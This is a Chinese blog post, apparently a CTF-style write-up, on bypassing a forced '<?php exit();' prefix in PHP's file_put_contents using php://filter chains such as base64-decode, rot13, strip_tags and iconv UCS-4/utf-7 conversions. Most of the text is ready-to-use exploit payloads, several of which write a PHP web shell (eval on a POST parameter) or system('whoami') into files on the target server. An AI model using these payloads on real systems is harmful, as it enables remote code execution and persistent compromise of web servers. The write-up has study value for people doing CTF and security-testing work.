php://filter绕过

       
作者: admin 分类: 未分类 发布时间: 2021-07-29 03:03

0x00 情况1:

<?php
highlight_file(__FILE__);
$filename = $_POST['filename'];
$content= $_POST['content'];
if(isset($content)&&isset($filename)) {
    file_put_contents($filename,"<?php exit();".$content);
} 

filename和content都可控的情况。

0x01 使用Base64编码

使用php://filter流的base64-decode方法,并将传来的content进行base解码。

base64编码只包含64个可打印字符,像<、?、;、>是被忽略的。

因此和content拼接的"<?php exit();"能被解码的字符只有“phpexit”。

“phpexit”一共七个字符,而base64解码时4个byte一组,因此随便增加一个字符x使得“phpexitx”被成功解码,我们后面再传入相应的base64也能够全部解码。

<? eval($_POST['midi']);
转BASE64得到:
PD8gZXZhbCgkX1BPU1RbJ21pZGknXSk7

payload:

filename=php://filter/write=convert.base64-decode/resource=1.php
content=xPD8gZXZhbCgkX1BPU1RbJ21pZGknXSk7

图片

可以看到exit被解码成了乱码,后面的base64正常解码。

0x02 使用Rot13编码

利用rot13编码,但需要php开启短标签(short_open_ta默认关闭)。

<?php phpinfo();?>   rot13编码得:  <?cuc cucvasb();?>
payload:
filename=php://filter/write=string.rot13/resource=1.php
content=<?cuc cucvasb();?>

0x03 使用strip_tags

<?php exit; ?> 实际是一个XML标签,可以通过strip_tags函数去除它,通过它组合BASE64编码,可以去除content中所有XML标签,再进行相应的解码。

payload:

filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=1.php
content=PD9waHAgcGhwaW5mbygpOz8+

php7.3.0后string.strip_tags已经被弃用

图片

1x00 情况2:

<?php

highlight_file(__FILE__);
$a = $_POST['a'];

if(isset($a)) {
    file_put_contents($a,"<?php exit();".$a);
}

file_put_contents只有一个参数可控。

1x01 使用Rot13编码

需要开启短标签,

1x02 使用iconv字符编码转换(没能理解,fuzz出来的)

这里采用的是UCS-2或者UCS-4编码方式(当然还有很多,比如utf-8和utf-7)

UCS-2

2的倍数

#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
?<hp phpipfn(o;)>?

UCS-4

4的倍数 因此用补全aa二十位

echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

echo iconv("UCS-4LE","UCS-4BE","aaAAAA<?php system('whoami');?>");
a=php://filter//convert.iconv.UCS-4LE.UCS-4BE|xXXAAaa<AAAphp?sys (metohw''ima>?;)/resource=miditest666.php

很神奇,下面的是fuzz出来的,前面加垃圾字符就可以了
payload:

a=php://filter//convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=miditest2.php

1x03 组合utf8+utf7+Base64

将utf8编码转为utf7编码从而把 = 给转了,就不会影响到base64的解码

成功的payload

#base64编码前补了AA,原理一样,补齐位数
<?php phpinfo()?>
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=miditest1.php
<?php eval($_POST['midi']);?>
a=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgZXZhbCgkX1BPU1RbJ21pZGknXSk7Pz4=/resource=miditest666.php

这里不知道为啥40位还要加两个A ,我fuzz出来的。。。可能是因为前面的字符吧

Written  by midi 2021 07 29

pdf版本:https://mi-di.cn/pdf/filter%E7%BB%95%E8%BF%87exit().pdf